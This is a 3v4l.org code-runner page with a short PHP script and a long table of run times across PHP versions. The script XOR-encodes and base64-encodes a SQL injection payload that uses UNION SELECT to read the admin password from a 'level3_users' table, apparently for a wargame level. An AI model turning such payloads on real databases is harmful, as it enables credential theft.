3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("Admin' union select 1,2,3,4,5,6,password as name from level3_users where username='admin' #")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0040.01118.76
8.3.30.0070.00720.16
8.3.20.0070.00020.35
8.3.10.0040.01121.92
8.3.00.0050.00322.52
8.2.170.0000.01522.96
8.2.160.0070.00722.25
8.2.150.0000.00824.18
8.2.140.0050.00324.66
8.2.130.0000.00726.16
8.2.120.0050.00319.83
8.2.110.0040.00422.13
8.2.100.0110.00417.84
8.2.90.0080.00019.22
8.2.80.0000.00919.39
8.2.70.0040.00417.63
8.2.60.0000.00817.93
8.2.50.0090.00018.07
8.2.40.0030.00618.05
8.2.30.0030.00718.18
8.2.20.0060.00317.79
8.2.10.0040.00417.79
8.2.00.0080.00317.68
8.1.270.0080.00024.66
8.1.260.0080.00026.35
8.1.250.0070.00028.09
8.1.240.0090.00023.80
8.1.230.0000.01219.16
8.1.220.0000.00817.76
8.1.210.0030.00518.77
8.1.200.0000.00917.35
8.1.190.0040.00417.53
8.1.180.0030.00518.95
8.1.170.0000.00818.47
8.1.160.0000.00720.96
8.1.150.0000.00718.60
8.1.140.0020.00517.42
8.1.130.0000.00817.97
8.1.120.0000.00717.34
8.1.110.0040.00417.45
8.1.100.0060.00317.48
8.1.90.0000.00717.42
8.1.80.0080.00017.49
8.1.70.0030.00317.32
8.1.60.0000.00817.63
8.1.50.0000.00717.46
8.1.40.0040.00417.55
8.1.30.0070.00017.67
8.1.20.0000.00817.57
8.1.10.0040.00417.52
8.1.00.0040.00417.52
8.0.300.0040.00418.77
8.0.290.0030.00517.05
8.0.280.0080.00018.38
8.0.270.0030.00317.29
8.0.260.0000.00716.86
8.0.250.0000.00716.97
8.0.240.0030.00517.03
8.0.230.0000.00716.92
8.0.220.0070.00016.89
8.0.210.0080.00016.89
8.0.200.0000.00716.86
8.0.190.0040.00716.96
8.0.180.0000.00716.98
8.0.170.0040.00416.84
8.0.160.0040.00416.89
8.0.150.0030.00316.97
8.0.140.0000.00816.86
8.0.130.0030.00313.31
8.0.120.0080.00016.89
8.0.110.0050.00216.75
8.0.100.0000.00716.89
8.0.90.0000.00816.88
8.0.80.0110.01116.95
8.0.70.0070.00016.73
8.0.60.0040.00416.97
8.0.50.0050.00316.93
8.0.30.0110.00816.99
8.0.20.0170.00517.40
8.0.10.0040.00417.02
8.0.00.0110.00916.93
7.4.330.0060.00015.13
7.4.320.0000.00616.57
7.4.300.0040.00416.65
7.4.290.0070.00016.49
7.4.280.0030.00316.54
7.4.270.0000.00716.47
7.4.260.0000.00513.31
7.4.250.0040.00416.41
7.4.240.0050.00216.58
7.4.230.0000.00716.72
7.4.220.0070.01116.56
7.4.210.0080.00616.56
7.4.200.0000.00716.72
7.4.190.0000.00716.60
7.4.160.0040.01216.59
7.4.150.0080.00917.40
7.4.140.0120.01017.86
7.4.130.0080.00916.54
7.4.120.0070.01116.55
7.4.110.0110.00716.65
7.4.100.0060.01316.45
7.4.90.0100.01416.59
7.4.80.0090.00919.39
7.4.70.0090.00916.35
7.4.60.0070.01016.60
7.4.50.0000.00816.46
7.4.40.0030.01022.77
7.4.30.0130.00316.75
7.4.00.0080.01015.14
7.3.330.0060.00013.26
7.3.320.0050.00013.39
7.3.310.0000.00716.35
7.3.300.0000.00716.31
7.3.290.0120.00316.41
7.3.280.0060.01016.42
7.3.270.0100.01317.40
7.3.260.0070.01016.55
7.3.250.0080.01016.52
7.3.240.0180.00616.46
7.3.230.0160.00616.60
7.3.210.0080.00816.56
7.3.200.0170.00019.39
7.3.190.0120.00916.41
7.3.180.0040.01216.39
7.3.170.0060.00916.68
7.3.160.0040.01416.52
7.3.120.0050.01114.88
7.3.110.0030.01214.81
7.3.100.0130.00615.05
7.3.90.0060.01015.02
7.3.80.0070.00714.68
7.3.70.0040.00714.86
7.3.60.0060.00914.89
7.3.50.0090.00415.05
7.3.40.0070.00714.79
7.3.30.0060.01214.98
7.3.20.0000.01316.80
7.3.10.0050.00516.90
7.3.00.0000.01416.77
7.2.330.0060.01216.58
7.2.320.0000.02016.49
7.2.310.0030.01316.69
7.2.300.0030.01316.70
7.2.290.0060.01116.76
7.2.250.0100.00315.00
7.2.240.0070.01114.95
7.2.230.0030.01014.98
7.2.220.0000.01515.03
7.2.210.0030.01214.92
7.2.200.0030.01215.11
7.2.190.0080.00614.79
7.2.180.0030.00614.90
7.2.170.0060.00615.16
7.2.160.0060.01015.02
7.2.150.0050.00817.14
7.2.140.0100.00716.95
7.2.130.0060.00916.98
7.2.120.0090.00916.89
7.2.110.0060.00916.70
7.2.100.0030.01316.90
7.2.90.0000.01416.72
7.2.80.0000.00917.12
7.2.70.0070.01316.96
7.2.60.0040.01116.82
7.2.50.0060.00617.03
7.2.40.0110.00416.73
7.2.30.0060.01317.15
7.2.20.0140.00317.01
7.2.10.0060.00917.01
7.2.00.0030.00818.34
7.1.330.0150.00315.93
7.1.320.0060.00915.68
7.1.310.0070.00715.71
7.1.300.0080.00415.55
7.1.290.0100.00315.95
7.1.280.0120.00615.88
7.1.270.0090.00615.61
7.1.260.0060.00615.83
7.1.250.0040.01115.76
7.1.240.0030.00616.06
7.1.230.0070.00715.69
7.1.220.0060.01016.02
7.1.210.0030.01015.81
7.1.200.0030.01015.87
7.1.190.0060.01315.68
7.1.180.0040.01115.81
7.1.170.0000.00816.01
7.1.160.0070.00716.02
7.1.150.0130.00315.76
7.1.140.0090.00315.89
7.1.130.0060.00615.69
7.1.120.0000.01415.64
7.1.110.0040.00715.83
7.1.100.0050.00917.06
7.1.90.0030.01015.56
7.1.80.0060.01015.97
7.1.70.0030.00816.39
7.1.60.0070.01217.72
7.1.50.0030.01416.36
7.1.40.0060.00915.95
7.1.30.0130.00015.81
7.1.20.0070.00715.90
7.1.10.0040.00815.90
7.1.00.0050.02119.12
7.0.330.0090.00915.24
7.0.320.0000.01715.45
7.0.310.0100.00315.22
7.0.300.0030.01015.29
7.0.290.0110.00715.32
7.0.280.0070.01015.21
7.0.270.0040.00415.53
7.0.260.0060.01015.52
7.0.250.0060.00615.45
7.0.240.0060.00615.33
7.0.230.0130.00015.59
7.0.220.0040.01115.20
7.0.210.0030.00915.41
7.0.200.0040.00615.99
7.0.190.0070.01015.43
7.0.180.0030.01015.36
7.0.170.0080.00315.48
7.0.160.0040.00415.50
7.0.150.0030.01015.36
7.0.140.0030.03918.85
7.0.130.0060.01015.55
7.0.120.0030.01715.60
7.0.110.0070.00315.48
7.0.100.0030.01115.49
7.0.90.0160.00015.39
7.0.80.0120.00415.65
7.0.70.0040.01115.40
7.0.60.0130.04517.70
7.0.50.0080.04316.77
7.0.40.0090.04416.83
7.0.30.0200.03516.75
7.0.20.0170.04116.87
7.0.10.0100.03116.72
7.0.00.0090.02416.81
5.6.400.0030.01114.64
5.6.390.0090.00614.61
5.6.380.0070.00714.57
5.6.370.0070.01114.52
5.6.360.0000.00914.80
5.6.350.0130.00314.29
5.6.340.0030.00614.54
5.6.330.0060.00614.33
5.6.320.0060.00614.35
5.6.310.0110.00013.94
5.6.300.0030.00614.41
5.6.290.0030.01014.30
5.6.280.0000.04617.71
5.6.270.0080.00814.45
5.6.260.0070.01114.45
5.6.250.0060.00914.51
5.6.240.0090.00614.32
5.6.230.0000.01414.31
5.6.220.0040.01114.15
5.6.210.0080.03717.36
5.6.200.0060.04316.35
5.6.190.0080.04017.44
5.6.180.1770.02717.42
5.6.170.0170.01717.51
5.6.160.0100.04117.38
5.6.150.0130.03816.25
5.6.140.0110.03816.29
5.6.130.0140.03916.16
5.6.120.0050.02217.79
5.6.110.0070.04517.62
5.6.100.0110.04017.61
5.6.90.0040.02517.60
5.6.80.0100.03417.40
5.6.70.0040.01214.14
5.6.60.0090.00614.30
5.6.50.0070.00414.18
5.6.40.0070.00714.32
5.6.30.0100.00314.49
5.6.20.0060.00614.35
5.6.10.0030.01014.21
5.6.00.0030.00913.93
5.5.380.0060.00914.10
5.5.370.0060.00614.20
5.5.360.0040.00814.38
5.5.350.0150.04117.50
5.5.340.0090.04116.21
5.5.330.0070.02917.22
5.5.320.0170.04117.26
5.5.310.0150.02617.24
5.5.300.0070.02316.32
5.5.290.0050.02816.12
5.5.280.0050.03117.63
5.5.270.0110.03017.59
5.5.260.0100.04017.71
5.5.250.0050.04517.31
5.5.240.0130.02717.16
5.5.230.0030.00614.38
5.5.220.0070.00714.54
5.5.210.0060.00914.08
5.5.200.0030.00914.22
5.5.190.0080.00814.23
5.5.180.0040.01114.39
5.5.170.0040.01114.31
5.5.160.0030.00914.09
5.5.150.0070.00714.39
5.5.140.0040.01114.13
5.5.130.0090.00614.52
5.5.120.0000.01414.47
5.5.110.0140.00014.50
5.5.100.0030.01014.38
5.5.90.0060.00314.26
5.5.80.0030.01014.41
5.5.70.0040.01114.32
5.5.60.0040.01114.20
5.5.50.0070.00714.24
5.5.40.0060.00613.86
5.5.30.0060.00614.29
5.5.20.0030.01314.43
5.5.10.0060.00914.30
5.5.00.0000.01214.04
5.4.450.0380.03216.04
5.4.440.0530.03216.01
5.4.430.0500.03515.94
5.4.420.0560.03716.03
5.4.410.0470.03715.96
5.4.400.0130.02915.55
5.4.390.0130.03315.61
5.4.380.0130.03015.66
5.4.370.0130.03515.53
5.4.360.0130.03615.49
5.4.350.0020.02412.25
5.4.340.0060.02512.25
5.4.330.0000.01112.48
5.4.320.0050.02112.49
5.4.310.0070.02512.49
5.4.300.0040.02612.49
5.4.290.0020.02812.49
5.4.280.0060.02012.44
5.4.270.0050.02312.44
5.4.260.0090.02212.44
5.4.250.0060.02112.44
5.4.240.0110.03315.73
5.4.230.0080.02815.72
5.4.220.0100.02615.57
5.4.210.0050.03215.75
5.4.200.0080.02815.57
5.4.190.0050.03015.69
5.4.180.0080.02315.73
5.4.170.0050.03215.63
5.4.160.0040.04415.63
5.4.150.0090.03715.72
5.4.140.0090.02414.48
5.4.130.0060.03014.54
5.4.120.0050.03314.46
5.4.110.0050.03014.52
5.4.100.0050.03014.50
5.4.90.0050.02714.43
5.4.80.0030.02714.50
5.4.70.0050.02714.49
5.4.60.0100.02514.44
5.4.50.0080.02514.47
5.4.40.0130.02014.42
5.4.30.0120.02414.48
5.4.20.0080.03314.49
5.4.10.0030.03314.43
5.4.00.0030.03414.14
5.3.290.0040.02512.64
5.3.280.0050.02913.53
5.3.270.0030.03313.59
5.3.260.0030.03413.54
5.3.250.0100.02513.58
5.3.240.0040.02913.63
5.3.230.0020.03013.63
5.3.220.0100.02713.52
5.3.210.0030.03213.52
5.3.200.0080.02913.62
5.3.190.0070.02713.56
5.3.180.0050.02813.61
5.3.170.0020.03513.57
5.3.160.0030.04013.51
5.3.150.0070.03013.52
5.3.140.0070.03313.53
5.3.130.0030.04513.60
5.3.120.0030.03213.63
5.3.110.0090.02513.47
5.3.100.0130.03313.21
5.3.90.0080.02913.24
5.3.80.0090.02313.29
5.3.70.0000.03213.25
5.3.60.0120.02213.24
5.3.50.0030.03013.30
5.3.40.0030.03013.30
5.3.30.0070.03113.23
5.3.20.0050.03613.09
5.3.10.0070.02513.11
5.3.00.0050.02813.14
5.2.170.0100.05711.06
5.2.160.0100.03711.05
5.2.150.0130.05311.14
5.2.140.0070.04311.23
5.2.130.0100.03711.29
5.2.120.0030.04011.10
5.2.110.0030.05711.09
5.2.100.0030.04011.11
5.2.90.0170.04711.33
5.2.80.0030.04311.17
5.2.70.0130.03011.17
5.2.60.0030.05011.23
5.2.50.0100.03711.01
5.2.40.0000.04311.10
5.2.30.0170.03711.05
5.2.20.0100.05011.04
5.2.10.0070.03710.94
5.2.00.0130.04010.80
5.1.60.0070.03010.10
5.1.50.0070.03010.07
5.1.40.0100.0279.98
5.1.30.0030.03710.41
5.1.20.0070.04310.52
5.1.10.0070.03310.05
5.1.00.0070.04710.17
5.0.50.0000.0338.66
5.0.40.0000.0308.58
5.0.30.0000.0478.08
5.0.20.0030.0278.20
5.0.10.0000.0438.20
5.0.00.0170.0478.17
4.4.90.0030.0207.33
4.4.80.0030.0307.33
4.4.70.0030.0207.33
4.4.60.0000.0237.33
4.4.50.0100.0237.33
4.4.40.0030.0337.33
4.4.30.0070.0177.33
4.4.20.0000.0237.33
4.4.10.0000.0237.33
4.4.00.0030.0307.33
4.3.110.0000.0277.33
4.3.100.0070.0277.33
4.3.90.0070.0177.33
4.3.80.0030.0307.33
4.3.70.0000.0207.33
4.3.60.0030.0207.33
4.3.50.0000.0237.33
4.3.40.0030.0307.33
4.3.30.0000.0237.33
4.3.20.0070.0207.33
4.3.10.0030.0237.30
4.3.00.0130.0207.40

preferences:
46.26 ms | 400 KiB | 5 Q